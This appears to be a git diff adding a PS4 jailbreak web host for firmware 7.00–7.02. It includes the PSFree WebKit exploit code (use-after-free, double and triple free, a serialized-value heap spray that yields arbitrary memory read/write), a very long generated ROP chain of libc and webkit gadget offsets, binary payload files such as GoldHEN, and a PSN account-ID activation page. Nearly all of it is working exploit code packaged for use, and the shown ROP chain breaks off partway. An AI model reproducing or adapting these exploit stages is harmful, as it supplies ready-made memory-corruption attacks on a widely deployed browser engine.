WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and +// possiblySharedBuffer() from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = target === ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(size_vector); + const data = new Uint8Array(9); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); + // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(size_vector); + // JSC::ArrayBufferContents + const abc = new Uint8Array(size_abc); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.03. + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (target !== ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, size_view); + } else { + // m_data + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of the view. The StringImpl is safe to free since we fixed it up + // earlier. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + // save SerializedScriptValue + const copy = []; + for (let i = 0; i < view.length; i++) { + copy.push(view[i]); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + //alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory(u, worker); + + var prim = { + read1(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read8(addr); + return res; + }, + + read2(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read16(addr); + return res; + }, + + read4(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read32(addr); + return res; + }, + + read8(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read64(addr); + return new int64(res.low(), res.high()); + }, + + write1(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write8(addr, value); + }, + + write2(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write16(addr, value); + }, + + write4(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write32(addr, value); + }, + + write8(addr, value) { + addr = new Int(addr.low, addr.hi); + if (value instanceof int64) { + value = new Int(value.low, value.hi); + mem.write64(addr, value); + } else { + mem.write64(addr, new Int(value)); + } + + }, + + leakval(obj) { + const res = mem.addrof(obj); + return new int64(res.low(), res.high()); + } + }; + window.prim = prim; + + // restore SerializedScriptValue + view.set(copy); + + // cleanup + view_leak_arr = null; + view_leak = null; + jsview = null; + input = null; + foo = null; + + // Before s1.ab gets garbage collected and its underlying buffer + // on the fastMalloc heap is freed, another object could be + // allocated in the meantime. That object could be freed + // prematurely once the GC occurs. This could corrupt the object + // if another object is allocated in the same memory area. + // + // So we will keep s1 alive. + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all its references easy (change the value of the global +// variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw(save, ssv_data); +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState === 'interactive' || document.readyState === 'complete') { + resolve(); + } + document.addEventListener('DOMContentLoaded', resolve, { once: true }); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('stage: UaF 1'); + await use_after_free(pop, s1); + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('stage: double free'); + // * keeps setup_ar()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + + debug_log('stage: triple free'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + //clear_log(); + debug_log('WebKit Done, Jailbreaking...'); + setTimeout(exploit, 1000); +} +setTimeout(run, 500); \ No newline at end of file diff --git a/702/fix.bin b/702/fix.bin new file mode 100644 index 00000000..3f880855 Binary files /dev/null and b/702/fix.bin differ diff --git a/702/frontend.js b/702/frontend.js new file mode 100644 index 00000000..34e9e854 --- /dev/null +++ b/702/frontend.js @@ -0,0 +1,179 @@ +var mailbox = { + idx: 0, + action: 0, + account_id: [0, 0, 0, 0, 0, 0, 0, 0], + account_name: "", +}; + +var base = 0x9111110000; + +function call_native() +{ + write_ptr_at(base+0x10, mailbox.idx); + write_ptr_at(base+0x18, mailbox.action); + write_mem(base+0x20, mailbox.account_id); + var ss = unescape(encodeURIComponent(mailbox.account_name)).substring(0, 16); + var sb = []; + for(var i = 0; i < ss.length; i++) + sb.push(ss.charCodeAt(i)); + sb.push(0); + write_mem(base+0x28, sb); + pivot(base); + mailbox.idx = read_ptr_at(base+0x10); + mailbox.action = read_ptr_at(base+0x18); + mailbox.account_id = read_mem(base+0x20, 8); + sb = read_mem(base+0x28, 17); + ss = ''; + for(var i = 0; sb[i]; i++) + ss += String.fromCharCode(sb[i]); + mailbox.account_name = decodeURIComponent(escape(ss)); +} + +function makeUI() +{ + var root = document.createElement('div'); + root.style.position = 'absolute'; + root.style.top = 100; + root.style.left = 400; + root.style.width = root.style.height = '50%'; + root.style.zIndex = 1000; + root.style.background = '#1A1920'; + var p = document.createElement('p'); + root.appendChild(p); + var italic = document.createElement('i'); + p.appendChild(italic); + italic.appendChild(document.createTextNode('Click the username to generate a random ID')); + var tbl = document.createElement('table'); + root.appendChild(tbl); + var tr = document.createElement('tr'); + tbl.appendChild(tr); + var colspan2 = document.createElement('th'); + colspan2.setAttribute('colspan', 2); + tr.appendChild(colspan2); + var tdBase64 = document.createElement('th'); + tr.appendChild(tdBase64); + tdBase64.appendChild(document.createTextNode('Base64 ID (for Chiaki)')); + var tdButton = document.createElement('th'); + tr.appendChild(tdButton); + var fields = []; + for(var i = 0; i < 16; i++) + { + var tr = document.createElement('tr'); + tbl.appendChild(tr); + var username = document.createElement('td'); + tr.appendChild(username); + var tdId = document.createElement('td'); + tr.appendChild(tdId); + var id = document.createElement('input'); + tdId.appendChild(id); + var tdBase64 = document.createElement('td'); + tr.appendChild(tdBase64); + var base64 = document.createElement('input'); + base64.readOnly = true; + tdBase64.appendChild(base64); + var tdButton = document.createElement('td'); + tr.appendChild(tdButton); + var button = document.createElement('button'); + tdButton.appendChild(button); + button.appendChild(document.createTextNode('Set & Activate')); + fields.push({username: username, id: id, base64: base64, button: button}); + } + document.body.appendChild(root); + return fields; +} + +var ui = makeUI(); + +function setRandomID(idx) +{ + var s = ''; + for(var i = 0; i < 16; i++) + s += "0123456789ABCDEF"[(Math.random()*16)|0]; + ui[idx].id.value = s; + return false; +} + +function fetchAccount(i) +{ + mailbox.idx = i; + mailbox.action = 0; + call_native(); + while(ui[i].username.firstChild) + ui[i].username.removeChild(ui[i].username.firstChild); + if(!mailbox.account_name) + { + var italic = document.createElement('i'); + ui[i].username.appendChild(italic); + italic.appendChild(document.createTextNode('Account does not exist')); + ui[i].id.value = ''; + ui[i].id.readOnly = true; + ui[i].base64.value = ''; + ui[i].button.disabled = true; + return; + } + else + { + var string_id = ''; + for(var j = 7; j >= 0; j--) + { + var digit = mailbox.account_id[j]; + string_id += "0123456789ABCDEF"[digit >> 4]; + string_id += "0123456789ABCDEF"[digit & 15]; + } + var b64_id = ''; + var b64_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + for(var j = 0; j < 8; j += 3) + { + b64_id += b64_alphabet[mailbox.account_id[j] >> 2]; + b64_id += b64_alphabet[(mailbox.account_id[j] << 4 | mailbox.account_id[j+1] >> 4) & 63]; + b64_id += b64_alphabet[(mailbox.account_id[j+1] << 2 | mailbox.account_id[j+2] >> 6) & 63]; + b64_id += b64_alphabet[mailbox.account_id[j+2] & 63]; + } + b64_id = b64_id.substr(0, 11) + '='; + ui[i].username.appendChild(document.createTextNode(mailbox.account_name)); + ui[i].id.value = string_id; + ui[i].id.readOnly = false; + ui[i].base64.value = b64_id; + ui[i].button.disabled = false; + } +} + +function fetchAccounts() +{ + for(var i = 0; i < 16; i++) + fetchAccount(i); +} + +function activateAccount(idx) +{ + mailbox.idx = idx; + var acc_id = ui[idx].id.value; + if(acc_id.length != 16) + acc_id = 'XXXXXXXXXXXXXXXX'; + var binary_id = []; + for(var i = 7; i >= 0; i--) + { + var digit = parseInt(acc_id[2*i], 16) * 16 + parseInt(acc_id[2*i+1], 16); + if(digit != digit) + { + alert("Must be 16 characters long and only contain [0-9A-F]"); + return; + } + binary_id.push(digit); + } + mailbox.action = 1; + mailbox.account_id = binary_id; + call_native(); + fetchAccounts(); + if(ui[idx].id.value == acc_id.toUpperCase()) + alert("PSN ID set successfully!"); + return false; +} + +fetchAccounts(); + +for(var i = 0; i < 16; i++) +{ + ui[i].username.onclick = setRandomID.bind(window, i); + ui[i].button.onclick = activateAccount.bind(window, i); +} diff --git a/702/ftp.bin b/702/ftp.bin new file mode 100644 index 00000000..a44d4410 Binary files /dev/null and b/702/ftp.bin differ diff --git a/702/goldhen.bin b/702/goldhen.bin new file mode 100644 index 00000000..cbe3be56 Binary files /dev/null and b/702/goldhen.bin differ diff --git a/702/goldhen1.bin b/702/goldhen1.bin new file mode 100644 index 00000000..922e7a0b Binary files /dev/null and b/702/goldhen1.bin differ diff --git a/702/goldhen_2.2.2_702.bin b/702/goldhen_2.2.2_702.bin new file mode 100644 index 00000000..d917a042 Binary files /dev/null and b/702/goldhen_2.2.2_702.bin differ diff --git a/702/goldhen_2.3_702.bin b/702/goldhen_2.3_702.bin new file mode 100644 index 00000000..760e1b8f Binary files /dev/null and b/702/goldhen_2.3_702.bin differ diff --git a/702/hen213b.bin b/702/hen213b.bin new file mode 100644 index 00000000..844c1d8a Binary files /dev/null and b/702/hen213b.bin differ diff --git a/702/historyblocker.bin b/702/historyblocker.bin new file mode 100644 index 00000000..747237a6 Binary files /dev/null and b/702/historyblocker.bin differ diff --git a/702/index.html b/702/index.html new file mode 100644 index 00000000..f8df3822 --- /dev/null +++ b/702/index.html @@ -0,0 +1,594 @@ + + +Karo Host Auto Exploit + PSFree Webkit Version 7.00 - 7.02 fw + + + + + + + + + + + +

Karo Host Auto Exploit + PSFree Webkit Version 7.00 - 7.02 fw

+

Jailbreaking... Wait

+
+
+
+
Designed, Compiled by :   Karo Sharifi +



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Abc ,Znullptr ,hippie68 ... +
+
+ + \ No newline at end of file diff --git a/702/int64.js b/702/int64.js new file mode 100644 index 00000000..798cae36 --- /dev/null +++ b/702/int64.js @@ -0,0 +1,328 @@ +// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js +// +// Copyright (c) 2016 Samuel Groß +function int64(low, hi) { + this.low = (low >>> 0); + this.hi = (hi >>> 0); + + this.add32inplace = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.add32 = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + return new int64(new_lo, new_hi); + } + + this.sub32 = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + return new int64(new_lo, new_hi); + } + + this.add64 = function(val) { + var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi++; + } + new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + this.sub64 = function(val) { + var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + + this.sub32inplace = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.and32 = function (val) { + var new_lo = this.low & val; + var new_hi = this.hi; + return new int64(new_lo, new_hi); + } + + this.and64 = function (vallo, valhi) { + var new_lo = this.low & vallo; + var new_hi = this.hi & valhi; + return new int64(new_lo, new_hi); + } + + this.toString = function (val) { + val = 16; + var lo_str = (this.low >>> 0).toString(val); + var hi_str = (this.hi >>> 0).toString(val); + + if (this.hi == 0) + return lo_str; + else + lo_str = zeroFill(lo_str, 8) + + return hi_str + lo_str; + } + + this.toPacked = function () { + return { + hi: this.hi, + low: this.low + }; + } + + this.setPacked = function (pck) { + this.hi = pck.hi; + this.low = pck.low; + return this; + } + + return this; +} + +function zeroFill(number, width) { + width -= number.toString().length; + + if (width > 0) { + return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; + } + + return number + ""; // always return a string +} +function Int64(low, high) { + var bytes = new Uint8Array(8); + + if (arguments.length > 2 || arguments.length == 0) + throw TypeError("Incorrect number of arguments to constructor"); + if (arguments.length == 2) { + if (typeof low != 'number' || typeof high != 'number') { + throw TypeError("Both arguments must be numbers"); + } + if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) { + throw RangeError("Both arguments must fit inside a uint32"); + } + low = low.toString(16); + for (let i = 0; i < 8 - low.length; i++) { + low = "0" + low; + } + low = "0x" + high.toString(16) + low; + } + + switch (typeof low) { + case 'number': + low = '0x' + Math.floor(low).toString(16); + case 'string': + if (low.substr(0, 2) === "0x") + low = low.substr(2); + if (low.length % 2 == 1) + low = '0' + low; + var bigEndian = unhexlify(low, 8); + var arr = []; + for (var i = 0; i < bigEndian.length; i++) { + arr[i] = bigEndian[i]; + } + bytes.set(arr.reverse()); + break; + case 'object': + if (low instanceof Int64) { + bytes.set(low.bytes()); + } else { + if (low.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(low); + } + break; + case 'undefined': + break; + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function () { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + this.asInteger = function () { + if (bytes[7] != 0 || bytes[6] > 0x20) { + debug_log("SOMETHING BAD HAS HAPPENED!!!"); + throw new RangeError( + "Can not be represented as a regular number"); + } + return Struct.unpack(Struct.int64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function () { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[ + 6] == 0xff)) + throw new RangeError( + "Can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes()); + }; + + // Return the underlying bytes of this number as array. + this.bytes = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return arr; + }; + + // Return the byte at the given index. + this.byteAt = function (i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return '0x' + hexlify(arr.reverse()); + }; + + this.low32 = function () { + return new Uint32Array(bytes.buffer)[0] >>> 0; + }; + + this.hi32 = function () { + return new Uint32Array(bytes.buffer)[1] >>> 0; + }; + + this.equals = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + for (var i = 0; i < 8; i++) { + if (bytes[i] != other.byteAt(i)) + return false; + } + return true; + }; + + this.greater = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + if (this.hi32() > other.hi32()) + return true; + else if (this.hi32() === other.hi32()) { + if (this.low32() > other.low32()) + return true; + } + return false; + }; + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function () { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + var new_args = []; + for (var i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int64)) { + new_args[i] = new Int64(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; + } + + this.neg = operation(function neg() { + var ret = []; + for (var i = 0; i < 8; i++) + ret[i] = ~this.byteAt(i); + return new Int64(ret).add(Int64.One); + }, 0); + + this.add = operation(function add(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); + + this.assignAdd = operation(function assignAdd(a) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 1); + + + this.sub = operation(function sub(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) - a.byteAt(i) - carry; + carry = cur < 0 | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function (d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); +Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff); \ No newline at end of file diff --git a/702/jb.js b/702/jb.js new file mode 100644 index 00000000..95d4da49 --- /dev/null +++ b/702/jb.js @@ -0,0 +1,80939 @@ +var ropchain_array = new Uint32Array(151098); +var ropchain = read_ptr_at(addrof(ropchain_array)+0x10); +var ropchain_offset = 2; +function set_gadget(val) +{ + ropchain_array[ropchain_offset++] = val | 0; + ropchain_array[ropchain_offset++] = (val / 4294967296) | 0; +} +function set_gadgets(l) +{ + for(var i = 0; i < l.length; i++) + set_gadget(l[i]); +} +function db(data) +{ + for(var i = 0; i < data.length; i++) + ropchain_array[ropchain_offset++] = data[i]; +} +var main_ret = malloc(8); +var printf_buf = malloc(65536); +var __swbuf_addr = 0; +set_gadgets([ +libc_base+768796, +ropchain+65720, +webkit_base+14572727, +libc_base+165442, +ropchain+65680, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +ropchain+112, +libc_base+430587, +libc_base+489696, +ropchain+425392, +libc_base+489696, +ropchain+65680 +]); +var printf_buf_offset = 128; +set_gadget(printf_buf); +db([4294967295, 4294967295]); +ropchain_offset += 16384; +set_gadgets([ +libc_base+863109, +libc_base+713278, +main_ret, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +pivot_addr, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+65800, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+65912, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+65928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+66016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+66032, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+66192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+66144, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+66160, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+66248, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+66360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+66392, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+66376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+66552, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+66504, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+66520, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+66656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+66640, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+857161, +libc_base+713278, +ropchain+66864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+66832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+66968, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+66952, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+67064, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+67152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+67168, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+67328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+67280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+67296, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+67384, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+67496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+67528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+67512, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+67688, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+67640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+67656, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+67792, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+67776, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+67992, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+67960, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+68096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+68080, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857183, +libc_base+713278, +ropchain+68208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+68176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+68272, +webkit_base+4687784, +webkit_base+1816389, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+68328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+68480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+68496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+68464, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+68624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+68640, 